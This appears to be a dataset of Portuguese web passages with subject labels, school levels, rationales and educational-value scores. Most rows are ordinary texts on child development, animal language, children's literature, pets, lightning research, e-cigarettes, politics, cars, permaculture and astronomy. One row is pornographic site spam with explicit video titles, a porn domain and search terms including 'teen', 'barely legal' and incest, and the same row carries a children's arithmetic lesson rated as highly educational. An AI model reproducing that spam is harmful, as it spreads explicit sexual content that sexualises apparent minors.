que diz a professora. +- Auto-suficiência +A criança que, desde cedo, aprende a +. usar do banheiro, +. vestir-se sozinha, +. atar o cadarço dos sapatos, +. servi-se à mesa, +. realizar seus trabalhos sem maior dependência dos adultos, +- sentir-se-á bem na escola, e quase não estranhará o seus regime. +- Curiosidade +Sem em casa +. sempre lhe satisfizeram as justas curiosidades, +. se lhe alimentaram o espírito com interessantes e úteis conhecimentos, +. se lhe responderam devidamente às naturais perguntas, +. se a familiarizaram com livros ilustrados, +. se a levaram a visitar parques e museus, etc. +- ela experimentará natural desejo de aprender, e provará alegria com os conhecimentos que a escola lhe for ministrando. +- Expressão +Se, desde o começo +. lhe ensinam a falar com correção e propriedade, +. se lhe vão aumentando o vocabulário conforme as necessidades, +. se lhe deixam participar (educadamente) das conversas da família, aprendendo assim (insensivelmente) a expressar-se com espontaneidade e desembaraço. +- grande facilidade encontrará na escola. +- Disposição +. Se lhe falam da escola com simpatia, como de uma atividade agradável e um lugar feliz, e da mestra como pessoa encarregada de ajudar a instruí-la e prepará-la para a vida, +. se nunca a ameaçaram nem amedrontaram com o estudo e a professora, +- ela verá aproxima-se a vida escolar com alegria ou, pelo menos, com calma e segurança. +Esta preparação indireta é a mais vantajosa, porque realiza a integração da criança nas suas atividades estudantis. +II. Há também a ajuda direta, dada mais propriamente aos estudos. Entre deixar o filho entregue a si mesmo e fazer-lhe os exercícios, há o justo proceder dos pais. Quais será? +- Ajuda nos estudos +Local e horário para os estudos em casa, a fim de estabelecer disciplina e hábito. O t...",original,original,original,original,4,0.8 +"Segundo sua proprietária, a psicóloga americana Irene Pepperberg, Alex “ tinha a capacidade intelectual de uma criança de 5 anos"". +Ele falava mais de 100 palavras em inglês, podia identificar cerca de 50 objetos e sete cores,aprendeu os conceitos de ""maior"", ""menor"", de ""igualdade"" e de ""ausência"". +Cinco dias antes de sua morte, em 11 de setembro de 2007, aos 31 anos de idade, quando Alex foi colocado em sua gaiola, após mais um período de trabalho, disse à sua proprietária: ""Seja boa, vejo você amanhã. Eu te amo"" (Terra, 2007). +Alex não se intimidava diante das câmeras e participou de vários programas de TV, onde demonstrava suas habilidades intelectuais. Além disso, Irene Pepperberg pesquisou Alex, buscando responder à questão: Papagaios poderiam aprender a falar ou apenas se limitariam a imitar? +Ao falar ele era capaz de discriminar cores, formas e materiais, assim diante de um triângulo de madeira ele era capaz de falar ‘blue’ (azul) quando perguntavam sobre a cor e ‘three-corner wood’ (triângulo de madeira) quando perguntado sobre a forma. Conseguia contar e, aparentemente, somar até seis. +Além do que lhe ensinaram durante os treinamentos, ele aprendeu algumas coisas espontâneas, quando queria pedir desculpas ao ser repreendido dizia “I’m sorry” , quando estava entediado ou cansado com os experimentos e queria voltar para sua gaiola dizia “I wanna go back”. +À noite ou nas horas de folga, Alex costumava repetir palavras recém-aprendidas como se estivesse praticando. +Todavia, mesmo com Alex como tutor, outros papagaios cinzentos admitidos no laboratório de Irene Pepperberg, não conseguiram os mesmos resultados e uma interação privilegiada com o ser humano. +2- Nim Chimpsky, um chimpanzé. +Nim foi “adotado” ainda bebê, com apenas 15 dias, pelo pesquisador Herbert S. Terrace, para testar se um primata que fosse criado como um bebê humano poderia aprender a linguagem e chegar a inventar a linguagem, assim como os seres humanos fazem. Ele foi tratado desde o início como um bebê humano, usava fraldas, roupinhas e tinha a sua mamadeira. +Nim foi ensinado a falar através da linguagem dos sinais e em 4 anos, ele dominava 125 sinais, mas continuva impulsivo como qualquer chimpanzé pequeno. Mesmo tendo aprendido a comer usando talheres e se tornado asseado, indicando com gestos convencionados quando desejava ir ao banheiro. +Através de sinais ele conseguia escolher peças do vestuário, por exemplo, uma camisa e a cor, e também aprendeu a pedir objetos como uma xícara, escova de dentes, etc. +Os cientistas que trabalhavam com Nim agiam como se ele fosse uma criança normal, conversando com ele e entre si, usando a linguagem dos sinais. Na casa onde o chimpanzé morava, as condições iram ideais, os professores tomavam conta dele o tempo todo, filmando. +Porém após quatro anos, por falta de verbas e outros contratempos Terrace teve que devolver Nim à sua reserva. No começo ele ficou de quarentena e chorava, pois desde os quinze dias de vida não convivera com outros chimpanzés. Porém, um ano mais tarde Terrace foi visitá-lo, mas ficou esperando perto de uma árvore no trajeto do passeio. No momento em que Nim o avistou deu um salto no ar de alegria. Terrace começou a falar com ele usando sinais, coisa que já não acontecia há um ano e ele respondeu, voltando a usar sinais sempre que se aproximava. +3- Outros chimpanzés famosos foram as fêmeas Washoe e Lana. +Washoe inclusive ensinou outros três chimpanzés (Loulis, Tatu e Dar) a usar sinais. +4- Sofia, uma cadela SDR (sem raça definida). +Sofia tem quatro anos e usa um tipo de teclado (um painel de 15 x 30 centímetros com oito teclas) para se comunicar. Ela foi selecionada de uma ninhada de sete filhotes, sendo separada de sua mãe quando tinha 50 dias, quando foi cirurgicamente esterilizada. Seu treinamento começou aos 2 meses de idade, em outubro de 2001. Pela equipe coordenada pelo etólogo César Ades. +Ela tinha 4 meses quando começou a ser treinada para usar o teclado e 17 quando fez o teste final des...",original,original,original,original,4,0.8 +"Olá, pequenos exploradores do mundo das letras! Já pararam para pensar que as histórias são como portais mágicos que nos levam para outros lugares, nos apresentam a personagens incríveis e nos ensinam lições valiosas? Hoje, vamos embarcar em uma aventura especial pelo mundo da literatura brasileira, um tesouro cheio de cores, sons e muita imaginação. + +A literatura brasileira para crianças é como um jardim florido, onde cada livro é uma flor diferente, com seu perfume e beleza únicos. Temos histórias de animais falantes, como o Sítio do Picapau Amarelo, criado pelo Monteiro Lobato, onde a boneca Emília ganha vida e apronta todas com o Pedrinho e a Narizinho. Já imaginaram uma boneca tagarela que adora dar palpites em tudo? + +Outro exemplo maravilhoso são as lendas folclóricas, como a do Saci-Pererê, aquele garoto travesso com um gorro vermelho que pula numa perna só e adora esconder objetos. Ou a Iara, uma sereia que vive nos rios e encanta os pescadores com sua beleza e canto. Essas histórias foram contadas e recontadas por muitas gerações e fazem parte da nossa cultura. + +E por que é tão importante conhecer a literatura brasileira? Porque ela nos ajuda a entender quem somos, de onde viemos e para onde queremos ir. As histórias nos mostram diferentes jeitos de viver, de pensar e de sentir. Elas nos ensinam sobre amizade, coragem, respeito e muitos outros valores importantes. Além disso, a leitura nos ajuda a desenvolver a imaginação, a criatividade e a capacidade de nos expressarmos melhor. + +Imagine que você está lendo um livro sobre um menino que mora na Amazônia e aprende a proteger a floresta. Ao ler essa história, você não só conhece um lugar diferente, mas também aprende sobre a importância de cuidar do meio ambiente. Ou imagine que você está lendo sobre uma menina que enfrenta seus medos e realiza seus sonhos. Essa história pode te inspirar a ser mais corajoso e a nunca desistir dos seus objetivos. + +A literatura brasileira é um presente para todos nós, crianças e adultos. Ela nos convida a sonhar, a imaginar e a aprender juntos. Então, que tal começar a explorar esse mundo mágico agora mesmo? Peça para seus pais, avós ou professores te apresentarem a um livro novo. Visite a biblioteca da sua escola ou da sua cidade e descubra quantas histórias incríveis estão esperando por você. + +Lembre-se: cada livro é uma nova aventura, um novo aprendizado e uma nova oportunidade de se conectar com o mundo e com você mesmo. Boa leitura!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima (5) por apresentar alto valor educacional para o ensino fundamental. Introduz a literatura brasileira de forma lúdica e acessível, utilizando exemplos relevantes como o Sítio do Picapau Amarelo e lendas folclóricas. Explica a importância da literatura para o desenvolvimento da identidade cultural, valores e habilidades como imaginação e expressão. O texto é claro, coerente e adequado à faixa etária, incentivando a leitura e a exploração do universo literário.",5,1.0 +"No Reino da Alegria: Querido, mudei a casa... +Coisas que se ouvem nos centros de saúde +PDI (ou como diz o meu pai: p^*]]£ da idade)",original,original,original,original,1,0.2 +"“Podemos ter um cão?” Seguramente que, ao longo da vida, muitos de nós ouvimos ou fizemos esta pergunta pelo menos uma vez. +Como tratar do seu cão +A ideia de um animal de estimação com quem brincar e que nos faça companhia é, desde sempre, atractiva, tanto para crianças como para os mais crescidos. E a verdade é que um companheiro de quatro patas anima-nos os dias com as suas brincadeiras e a sua presença incondicional. +Mas um animal é um ser vivo e, como tal, exige cuidados para que possa ser o companheiro divertido e constante de longos e bons anos. Ao adoptar um animal de estimação é, portanto, necessário, ter em consideração uma série de elementos, para que o novo amigo que vai chegar à nossa casa tenha uma vida feliz e saudável. +Alimentação adequada +Para que os vários sistemas do organismo funcionem correctamente é essencial uma alimentação completa, capaz de satisfazer a necessidade de nutrientes das células. E isto acontece não só com os seres humanos, mas também com os restantes seres vivos. Assim, ao adoptar um animal de estimação, um factor que será necessário ter em conta será a sua alimentação. +Existe actualmente uma vasta gama de alimentos para animais, mas nem todas possuem a formulação mais adequada. Ainda que os produtos de qualidade superior apresentem um preço mais elevado, apresentam outro tipo de garantia. Uma alimentação adequada em termos nutritivos é um grande passo para garantir ao nosso companheiro uma vida longa e saudável. +Protecção e cuidado +Tal como acontece com os seres humanos, existem várias doenças que podem afectar os animais de estimação. Estes estão particularmente vulneráveis nos primeiros meses de vida, pelo que um adequado protocolo vacinal e de desparasitação pode desempenhar um papel fundamental na sua protecção. +Uma visita ao médico veterinário poderá esclarecer as principais dúvidas no que respeita a este assunto e permitir que se estabeleça o calendário de vacinação adequado ao animal, bem como um plano de desparasitação interna e externa que permite proteger não só o animal, mas todos os que com ele convivem. +Ambiente e educação +A presença de um animal na nossa casa pode mudar a nossa vida. Eles têm os seus hábitos e as suas necessidades. Mas é importante que se estabeleça uma adaptação completa entre dono e animal, pelo que uma educação cuidada no sentido do que o animal pode ou não fazer, bem como a inserção num ambiente que responda às suas necessidades, são essenciais. +Não sabe o que fazer? Existem diversos textos com estratégias e pequenos truques no que à educação de um animal de estimação diz respeito. E, em caso de dúvida, pode sempre pedir conselhos ao médico veterinário. +Identificação +Por vezes, imprevistos acontecem. E, no caso de um animal de estimação se perder ou, de alguma forma, desaparecer, é importante ter uma forma de o localizar. Na situação de um animal perdido, a presença de um microchip permite aceder aos dados relativos aos seus donos. +Um compromisso para a vida +Ter um animal de estimação é assumir um compromisso para com esse companheiro durante os anos da sua vida. A alimentação e o cuidado que eles merecem são da responsabilidade do dono. Em troca, eles oferecem-nos alegria e devoção incondicionais. Por isso, nunca é demais reforçar esta ideia: os nossos animais de estimação são seres vivos, como nós. +Não devem e não podem ser simplesmente descartados quando se tornam inconvenientes. Se for de férias, ou se precisar de se ausentar por alguns dias, existem várias opções, desde pedir a ajuda de um amigo a deixar o animal numa instalação adequada durante o período de ausência. O abandono nunca deve ser uma opção. +Classificação +A sua opinião +[Total: 1 Média: 5] +Temas +alimentação animal +animal de companhia +animal de estimação +cães +Share +Facebook +Twitter +Pinterest +Email +Print +AnteriorParasitas externos dos animais: Incómodo ou problema? +Próximo6 ingredientes naturais que afastam insectos indesejados +Mulher Portuguesa +Sobre nós +Mulher Portuguesa é uma plataforma ...",original,original,original,original,4,0.8 +"terça-feira, 26 de março de 2013 +São Paulo Mapeia Raios Ascendentes na Av. Paulista +Segue abaixo uma matéria publicada hoje ( 24/03 ) no site do jornal ""O Estado de São Paulo"" destacando que São Paulo está mapeando Raios Ascendentes na Av. Paulista . +Duda Falcão +Notícias +São Paulo Mapeia Raios +Ascendentes na Av. Paulista +Objetivo é descobrir detalhes da formação dos raios que sobem até +as nuvens em vez de descer até o chão; eventos desse tipo são raros +RODRIGO BURGARELLI +O Estado de S. Paulo +24 de março de 2013 | 2h 06 +Uma câmera no topo de um prédio no Sumarezinho, na zona oeste de São Paulo, está ligada 24 horas por dia desde meados de dezembro. Ao contrário da maioria das suas similares em bairros nobres de São Paulo, ela não busca identificar possíveis criminosos ou anotar placas de carro que estão furando o rodízio de veículos. Voltada para um espigão que fica a sudeste dali, seu objetivo é um pouco mais inusitado que isso - registrar raios que sobem das torres de rádio e celular que ficam na Avenida Paulista. +Reprodução +Raio ascendente capturado por uma câmera do INPE. Se originou no alto de uma torre da Band. +Sim, é isso mesmo: há raios que sobem até as nuvens em vez de descer. Chamados de raios ascendentes, eles são raros, e apenas uns poucos países como Estados Unidos, Canadá, Japão e Áustria já registraram em filme esse fenômeno atmosférico. O Brasil entrou nesse seleto grupo no verão passado, quando pesquisadores do Grupo de Eletricidade Atmosférica (ELAT) do Instituto Nacional de Pesquisas Espaciais (INPE) capturou pela primeira vez imagens de raios ascendentes no Pico do Jaraguá, zona norte de São Paulo - outras 40 foram registradas ao longo do ano passado. O desafio agora era identificá-los em uma área extremamente urbanizada da cidade. +O objetivo foi concretizado no dia 29 de dezembro de 2012, quando raios desse tipo iniciaram-se a partir de quatro torres situadas na região da Paulista e foram filmados pela câmera do INPE. Uma das torres, que fica iluminada à noite e tem 220 metros de altura, foi identificada pelos pesquisadores como a da TV Bandeirantes. A equipe ainda investiga para saber quais são as outras torres que originaram os outros raios ascendentes. +Mas porque um raio resolve subir de uma torre para as nuvens, em vez de fazer o contrário? ""Sabemos que para um raio ascendente iniciar, é necessário um campo elétrico intenso na ponta de uma estrutura alta. Este campo é gerado por uma tempestade acima. No entanto isto não basta. Algo mais tem de acontecer para que o raio aconteça, mas não sabemos ainda com certeza como esse processo funciona"", afirma Marcelo Saba, pesquisador do ELAT. +Saba garante que uma das diferenças desses raios em relação aos que descem é que eles precisam de estruturas altas para surgirem. ""Já os raios descendentes sempre acontecem, com ou sem estruturas altas no solo"", diz. +A pesquisa tem objetivos práticos. O principal é descobrir os detalhes da formação dos raios ascendentes para, depois, formular mecanismos de proteção contra esse tipo de raio, que atualmente é excluído das normas de proteção. Estudos já feitos no Japão comprovaram que os raios ascendentes podem trazer grandes prejuízos quando atingem turbinas de geração eólica, um tipo de energia que está sendo cada vez mais usado no Brasil e no mundo. ""Como ocorrem a partir de estruturas feitas pelo homem, é importante entender qual o impacto desta ação antropogênica no aumento da incidência deste tipo de raio"", diz Saba.",original,original,original,original,4,0.8 +"danny mountain fucks megan marx rough meganmarxxx hardcore pornstar petite blowjob brunette amateur high heels teens moaning pussy eating all natural huge dick sex tape cock sucking barely legal 18 bj +vídeos relançados +5:37 1,02 K +a garota peituda quer fazer sexo pornô hentai +13:43 872 +Big tit gilf ficando anal de pau preto +7:07 789 +Sexo jovem sedutor com velho tesão Teen Fodido e gozar no rosto +11:22 788 +Mãe negra e Fellarunitall +13:49 713 +Petite Blonde Teen Anal Pela Primeira Vez +10:03 734 +Madison Ivy monta bbc pela primeira vez +13:34 512 +Meu primeiro Creampie na câmera +14:20 499 +Musa Libertina ordenhando pinto jovem e grande +36:33 0 +adolescente bonito japonês +23:23 0 +linda morena peituda milf é foda gostosa +12:14 0 +xxx desi sex meu casamento namorada da faculdade +34:52 0 +Black hottie tori taylor fode um cara branco +tendência de pesquisa +transando por cima mulheres fazendo sexo com calca erotica pono caseiro ruiva fogosa boa foda dotado xvideos varios gozando dentro videos de sexo ginecologista novinha americana posição frango xvideos usa brasileirinhas coroas porno brasileito contos eroticos incesto gay porno sexo selvagem filme de pornô com rita cadilac mulheres de camisola transparente filme de sexso video de putaria baba transando sexo oral gif porno csseiro porno duplo anal boa fosa vídeo de pornô de brasileiro +PORNMILO +Meu amigo, seja qual for o seu pau gordo, fino, longo e curto, ele encontrará tudo o que precisa no pornmilo.xyz. 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É como um sinal de mais, que nos diz para acrescentar, para somar. + +Agora, imagine que você tinha aqueles 5 carrinhos, mas seu irmão pegou emprestado 1 carrinho para brincar. Quantos carrinhos você tem agora? Para descobrir, usamos a subtração, que é como tirar coisas. 5 carrinhos – 1 carrinho = 4 carrinhos! O símbolo da subtração é o -. É como um tracinho que nos diz para remover, para diminuir. + +Vamos pensar em outra situação. Você tem 7 balas e quer dividir com seu melhor amigo. Se você der 3 balas para ele, com quantas balas você ficará? Use a subtração! 7 balas – 3 balas = 4 balas. Viu só? A matemática nos ajuda a resolver problemas do dia a dia! + +A adição e a subtração são como ferramentas mágicas que nos ajudam a contar, a organizar e a entender o mundo. Pratiquem em casa! Contem seus brinquedos, contem quantas frutas tem na fruteira, perguntem para seus pais quantos anos eles têm. Quanto mais vocês praticarem, mais fácil e divertido será desvendar os segredos dos números. + +Lembrem-se: a matemática não é um bicho de sete cabeças! É uma aventura emocionante que nos ajuda a pensar, a resolver problemas e a descobrir coisas novas. E aí, prontos para continuar explorando o mundo dos números? Que tal inventar suas próprias histórias com adição e subtração? O que aconteceria se você tivesse 10 figurinhas e ganhasse mais 5? Ou se você tivesse 8 lápis de cor e perdesse 2? Use a imaginação e divirta-se com a matemática! A aventura está apenas começando!",Matemática,Números e operações básicas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional para os anos iniciais do ensino fundamental. Introduz conceitos básicos de adição e subtração de forma lúdica e contextualizada, utilizando exemplos do cotidiano das crianças. A linguagem é clara, acessível e estimula a prática e a imaginação. O texto é totalmente apropriado para o nível de ensino, sem informações supérfluas ou complexas. A abordagem é coerente, focada e valiosa para um aprendizado estruturado e divertido.",5,1.0 +"A torrente de denúncias de irregularidades sobre desvios de recursos públicos prossegue como se fosse uma ocorrência rotineira no País. A onde de fatos comprometedores, verdadeiros ou não, porém, vem de longe, de décadas passadas. +Vamos nos restringir, para não ocuparmos maior número de linhas, ao início da década de 1950, a partir do governo constitucional do presidente Getúlio Vargas. Este, por adotar uma política dirigida em benefício dos trabalhadores e do próprio interesse nacional, tornou-se vítima indefesa dos seus adversários, quando do atentado em que foi assassinado o major da Aeronáutica, Rubem Vaz, certa noite, no Rio de Janeiro, em 1954, ao acompanhar o líder oposicionista, Carlos Lacerda, à sua residência, sendo ele um dos corifeus da União Democrática Nacional (UDN). +A UDN assestava suas baterias sobre o governo Vargas, tendo como bandeira principal ou biombo golpista a deposição do então presidente da República, sob a alegação de suposta corrupção na sua gestão, situação agravada com o lamentável desenlace que vitimou o oficial supra-citado. +Na realidade, a União Democrática Nacional nasceu contra o varguismo vigente no Estado Novo (1937 a 1945), quando o presidente foi deposto, ensejando o retorno da democracia ao País. Figuras ilustres de políticos civis como Afonso Arinos de Melo Franco, Prado Kelly, Bilac Pinto, Aliomar Baleeiro, Milton Campos, Magalhães Pinto, Carlos Lacerda, aliados a alguns ex-tenentes de 1922 e 1930, a exemplo do brigadeiro Eduardo Gomes, dos generais Osvaldo Cordeiro de Farias e Juarez Távora e tantos outros importantes integrantes da atividade política nacional completavam o amplo quadro em que pontificava a conduta moralista, que se comprovou, mais à frente, uma articulação golpista, abortada pelo suicídio do presidente Vargas. Em outras palavras, era um comprovado moralismo falso. +A decisão presidencial de se sacrificar sufocou a tentativa de golpeá-lo, possibilitando a eleição do presidente Juscelino Kubitschek, em 1955, também alvo de denúncias de corrupção, quase todas não comprovadas, como os desvios de conduta que vêm desde o período imperial, embora continuem a merecer a unanimidade de condenação da opinião pública, independentemente de coloração partidária ou ideológica de quem estiver à frente dos destinos da República. +Não escapou, também, o presidente João Goulart, sucessor que assumiu a Presidência após a renúncia de Jânio Quadros. Os mesmos argumentos que chegaram à infâmia e à injúria pessoal foram suportados por um político conciliador, como todos que teve seus erros, mas voltado para assegurar os direitos da grande maioria dos brasileiros, mais uma vez, sob o fogo cerrado da UDN, instigadora do golpe de 1964, que garroteou as liberdades em nome da democracia. +Avancemos no tempo. O ex-presidente Lula até hoje recebe acusações de ter contemporizado com atos ilícitos cometidos por aliados, alguns procedentes, mas sem comprovação da cumplicidade presidencial. +Agora é a vez da presidente Dilma Rousseff enfrentar semelhante situação. A sua obri­gação é repudiar os atos ilícitos, mandar apurar, com rigor, as denúncias, e lutar para que haja a devida punição desde que comprovadas as denúncias. A democracia assim o exige, inclusive a obrigação de a oposição se manifestar livremente, assim como os meios de comunicação. Não há outro caminho a seguir, senão desnudar a verdade, prosseguindo nas medidas punitivas já iniciadas.",original,original,original,original,3,0.6 +"Citroën C-Elysee: a grama do vizinho é mais verdinha +Esse é mais um modelo que em breve estará disponível na Argentina, mas sem qualquer previsão de chegar ao mercado brasileiro – Renault Megane e Ford Kuga são dois outros exemplos recentes. O que chama a atenção no caso é que o Grupo PSA (Peugeot/Citroën) vinha adotando estratégias semelhantes para os vizinhos e agora resolveu oferecer, do lado de lá da fronteira, um modelo que não deve dar as caras por aqui. +A Citroën aproveitou a etapa argentina do Mundial de Turismo (WTCC) para mostrar o modelo que dá origem à versão de competição. O C-Elysee é um sedã compacto do segmento B, que terá o Cobalt, o Grand Siena, o HB20S, o Logan e o Versa como concorrentes. Com 4,43m de comprimento e 2,65m de entre-eixos, ele será importado da Espanha com o 1.6 16V que já dá as caras por aqui no Peugeot 2o8 e no C3. E chegará ao mercado argentino em outubro como uma opção mais acessível para quem sonha com um C4 Lounge e não tem tanto dinheiro no bolso (ou espaço na garagem). O desenho não é nada de outro mundo, mas também não faz feio, alinhado com os demais produtos da marca francesa. Que pode até dizer que resolveu apostar na novidade porque um piloto argentino, José Maria ""Pechito López, é o atual bicampeão do WTCC a bordo do C-Elysee. Mas podia perfeitamente fazer o sedã aparecer também do lado de cá…",original,original,original,original,1,0.2 +"Um cigarro eletrônico vaporiza um líquido contendo uma mistura de aromas e outras substâncias. O líquido, ou e-líquido, é aquecido para criar vapor que o usuário pode inalar. O líquido não contém tabaco, como um cigarro comum, mas geralmente contém nicotina. +O cigarro eletrônico está disponível em todos os tipos de modelos e sabores. (veja mais aqui: Reino do Vapor). +O vapor de um cigarro eletrônico contém, assim como a fumaça do tabaco, substâncias nocivas como nicotina, propilenoglicol, glicerol e aldeídos. A inalação dessas substâncias pode irritar ou danificar o trato respiratório. Palpitações também podem ocorrer e o usuário tem um risco aumentado de câncer. O vapor que um fumante exala de um cigarro eletrônico pode ter efeitos sobre os espectadores. A garganta, nariz e/ou olhos podem ficar levemente irritados. +Menos perigoso do que o cigarro normal +Um cigarro eletrônico libera menos substâncias nocivas do que um cigarro comum e em concentrações mais baixas. Com toda a probabilidade, um cigarro eletrônico é menos prejudicial à saúde do que um cigarro comum. No entanto, ainda não sabemos quais os efeitos nocivos que um cigarro eletrônico tem com o uso estrutural e de longo prazo. +Aromas atraentes +Os aromas em um cigarro eletrônico dão um sabor agradável e disfarçam o sabor amargo da nicotina. Os jovens acham o cigarro eletrônico atraente por causa da grande variedade de sabores (especialmente doces). Os fumantes de tabaco que não conhecem os cigarros eletrônicos apreciam especialmente os sabores do tabaco e a experiência semelhante a fumar um cigarro normal. Para os jovens que não fumam, um cigarro eletrônico pode ser um trampolim para o tabagismo normal. +Pode ajudar quem está tentando parar de fumar +Para algumas pessoas, um cigarro eletrônico é uma ajuda eficaz para parar de fumar. No entanto, a maioria dos usuários de cigarros eletrônicos continua a fumar tabaco. As pessoas costumam usar cigarros eletrônicos com nicotina como um auxílio para parar de fumar. Existe o risco de continuarem viciados em cigarros eletrônicos depois de terem parado de fumar. Ou continue fumando tanto o cigarro eletrônico, quanto o tabaco comum. +Sais de nicotina +Alguns e-líquidos contêm sais de nicotina. Estes tornam o vapor menos amargo e acentuado no sabor do que a nicotina regular. Isso torna mais fácil para os usuários inalar grandes quantidades de nicotina. Os sais de nicotina também podem ser absorvidos mais rapidamente pelo corpo, aumentando o efeito viciante. +O cigarro eletrônico veio junto com a tecnologia, que cada vez mais nos apresenta dispositivos e alternativas para mudar e adaptar a nossa rotina. +É muito importante ler sobre o assunto e se informar bem antes de tomar a decisão de utilizar cigarro eletrônico.",original,original,original,original,4,0.8 +"origens permacultura by Eco Files - issuu +Em meados dos anos 70 dois ecologistas australianos, Bill Mollison e David Holmgren,começaram a desenvolver ideias que esperavam poder usar para criar sistemas agrícolas +estáveis. Isto era uma resposta ao crescente uso de métodos agrícolas industriais +destrutivos no pós-guerra que estavam a envenenar a terra e a água, reduzindo a +biodiversidade e removendo milhões de toneladas de terra de paisagens anteriormente +férteis. Uma abordagem de design chamada Permacultura foi o resultado e foi tornada +pública pela primeira vez em 1978 com a publicação do livro “Permaculture One”. +Depois da publicação do livro Mollison e Holmgren refinaram e desenvolveram os +seus conceitos, desenhando uma série de “espaços de permacultura” e escrevendo outros +livros. Mollison ensinou em mais de 80 países, e o curso de design de duas semanas foi dado +a centenas de estudantes. No início dos anos 80 o conceito tinha deixado de ser +predominantemente sobre sistemas agrícolas para ser um processo de design mais holístico +para criar habitats humanos sustentáveis. +Em meados dos anos 80 muitos dos estudantes tinham-se tornado praticantes bem +sucedidos e começaram a ensinar. Num curto período de tempo estabeleceram-se grupos, +projectos, associações e institutos de permacultura em mais de 100 países. +A permacultura está agora bem estabelecida no mundo e há muitos exemplos +inspiradores dos seu uso. No Zimbabué há 60 escolas desenhadas segundo o design +permacultural, com uma equiopa nacional trabalhando na unidade de desenvolvimento dos +curriculos escolares. O Alto Comissariado das Nações Unidas para os Refugiados produziu +um relatório sobre o uso da permacultura em situações de refugiados, depois do uso com +sucesso em campos de refugiados no Sul da ��frica e na Macedónia. Uma tribo no Peru +mudou de um estado de grande dependência do apoio do Estado para a auto-suficiência, +prestando ainda apoio a outras tribos. Uma base militar nos EUA está a ser transformada +num eco-negócio e parque de vida selvagem. +Nos 27 anos que passaram desde a sua concepção a permacultura demonstrou que é +uma abordagem com sucesso no desenho de sistemas sustentáveis, e pode ser utlizada em +todas as regiões climáticas e culturais.A VISÃO GLOBAL +Há um velho ditado que diz: “O homem civilizado marchou pela face da terra e +deixou um deserto nas suas pegadas”. Hoje, por todo o mundo, em terra que era antes rica +e com vegetação natural, vemos desertos desnudados da sua manta morta, desertos de solo +com sal devido a anos de irrigação, desertos devido a desflorestação que alterou o clima +O problema, na perspectiva da permacultura, foi a falta de design. A agricultura, +desde a sua invenção e reinvenção durante 10 000 anos, envolveu um processo de limpeza +da vida selvagem e estabelecimento de um ciclo de escavar ou arar, semear com algumas +espeçies úteis, ervas principalmente, e colher para alimentar os humanos e os animais – e o +ciclo começa todos os anos até que a terra fique exausta – após o que se irá limpar outra +área selvagem. Talvez os humanos tenham criado este sistema depois de sobreviver por um +milhão de anos caçando e colhendo comida, e aprendendo que o fogo regular encorajava a +germinação das espécies pioneiras que eram mais nutritivas do que a floresta para as +Iniciação à Permacultura, 15 a 18 de Junho, Couto de Esteves +SOLIDÁRIOS – Fundação para o Desenvolvimento Cooperativo e Comunitário1pessoas e para os animais caçados. +A solução, na perspectiva da permacultura, é introduzir o design na agricultura para +criar ecossistemas permanentes com colheitas abundantes, de forma que os humanos +possam utilizar o mínimo possível de terra, deixando o máximo possível de vida selvagem, +e, se possível, ajudando-a a restabelecer-se. Esta missão visionária global é expressa na +palavra permacultura, uma forma abreviada de “agricultura permanente”. +Para implementar esta visão global necessitamos de soluções locais, porque cada +lugar na terra é diferente no que re...",original,original,original,original,4,0.8 +"Colisão de estrelas de Nêutrons produziu parte do ouro que hoje temos na Terra - Galeria do Meteorito +Home +Notícias +Monitoramento +Sol +ISS +Asteróides +Observação do céu +Sistema Solar 3D +Efemérides +Calendário lunar +Chuvas de Meteoros +Cartas Celestes +88 Constelações +O céu de cada estação +Sistema Solar +Planeta Terra +Planetas Rochosos +Planetas Gasosos +Planetas Anões +Satélites +Asteróides +Cometas +Meteoritos +É um meteorito? +Extrasolar +Ciclo Estelar +Nebulosas +Sobre as galáxias +A Via Láctea +Vários +Curiosidades +Astrofotos +Apps Astronômicos +Links Úteis +Quizzes e testes +Parceiros +Contato +Colisão de estrelas de Nêutrons produziu parte do ouro que hoje temos na Terra +Assim como o ouro, parte de outros elementos pesados como urânio e platina também podem ter vindo dessa grande colisão de estrelas massivas +Há cerca de um século, os cientistas acreditam que os elementos mais pesados do Universo são o resultado da nucleossíntese estelar - processo pelo qual os átomos se fundem no interior das estrelas, formando elementos cada vez mais pesados. +A nucleossíntese estelar explica não apenas a criação dos elementos mais pesados além do hidrogênio / hélio, como também dos materiais que formaram os planetas, incluindo a Terra. +Recentemente, cientistas sugeriram ainda que os elementos mais pesados do Universo, como ouro e platina, seriam formados após a colisão de estrelas binárias. +Cristais azuis encontrados em meteorito revelam passado violento do Sol +Agora, um estudo publicado na revista Nature, liderado pelo professor Szabols Márka, da Universidade de Columbia, e pelo professor Imre Bartos, da Universidade da Flórida, nos revela que a colisão de duas estrelas de nêutrons, ocorrida a bilhões de anos atrás, produziu uma quantidade considerável dos elementos mais pesados que temos aqui na Terra, incluindo ouro, platina e urânio. +Ilustração artística da colisão entre estrelas de nêutrons. +Créditos: NASA / GSFC +De acordo com os cientistas, asteroides e cometas foram formados pelo material remanescente do Sistema Solar. Quando chegam aqui na Terra como meteoritos, eles carregam traços de isótopos radioativos (variantes específicas de um elemento químico) que os cientistas conseguem rastrear quando foram formados. Isso também ajuda a entendermos quais materiais existiam no Sistema Solar há bilhões de anos. +O Sol está puxando os planetas e vai engolir todos eles no futuro? +No estudo, Szabols e Imre fizeram simulações da Via Láctea e compararam os resultados com a composição de meteoritos encontrados aqui na Terra. Eles descobriram que uma colisão entre estrela de nêutrons deve ter ocorrido em nossa vizinhança cósmica, numa distância média de 1.000 anos-luz de nosso Sistema Solar, a cerca de 4,65 bilhões de anos atrás! +Nessa época, nosso Sistema Solar ainda não existia, pois era apenas uma grande nuvem de poeira e gás. Aproximadamente 100 milhões de anos depois, a Terra e os outros planetas do Sistema Solar se formariam ao redor do Sol que acabara de se formar. +Ilustração artística da colisão entre estrelas de neutrons. +Créditos: LIGO / divulgação +De acordo com o estudo, essa colisão entre duas estrelas de nêutrons poderia ter dado origem a 0,3% dos elementos mais pesados que encontramos aqui na Terra, sendo a maioria na forma de iodo - um elemento essencial para os processos biológicos, que pode ter desempenhado um papel fundamental no surgimento da vida. +Segundo Imre, ""química, física e biologia estão intrinsecamente ligados, e devemos cruzar esses dados para resolvermos o enigma cósmico"". +E como disse Szabols, ""nossos resultados abordam a busca fundamental da humanidade: de onde viemos? É muito difícil descrever as grandes emoções que sentimos quando percebemos o que havíamos encontrado e o que significa para o futuro do nosso mundo"". +Asteroide Apophis pode colidir com a Terra em 2029? +Isso também reafirma o que Carl Sagan disse: ""Somos 